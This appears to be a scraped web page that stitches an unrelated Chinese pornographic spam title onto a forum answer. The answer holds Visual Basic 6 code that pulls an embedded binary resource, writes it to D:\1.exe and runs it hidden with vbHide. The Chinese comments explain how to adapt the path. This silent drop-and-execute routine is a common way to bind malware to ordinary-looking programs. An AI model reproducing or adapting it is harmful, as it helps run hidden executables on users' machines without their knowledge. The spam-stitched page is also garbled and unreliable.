欧美成人精品手机在线观看_69视频国产_动漫精品第一页_日韩中文字幕网 - 日本欧美一区二区

代碼：

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const MAX_PATH = 260

Private Sub Form_Load()

Dim TempFile() As Byte

Dim FileNum As Integer

Dim TempDir As String

    TempDir = "D:\1.exe" '釋放的路徑

    TempFile = LoadResData(101, "custom") ''''''''''''''''''''''''''''''''''''''''''這里就是資源編輯器中對(duì)應(yīng)的

    FileNum = FreeFile

    Open TempDir For Binary Access Write As #FileNum

        Put #FileNum, , TempFile

    Close #FileNum
 
Shell "D:\1.exe", vbHide  '路徑自己修改吧
End Sub
已經(jīng)全部給你所了，應(yīng)該能懂吧？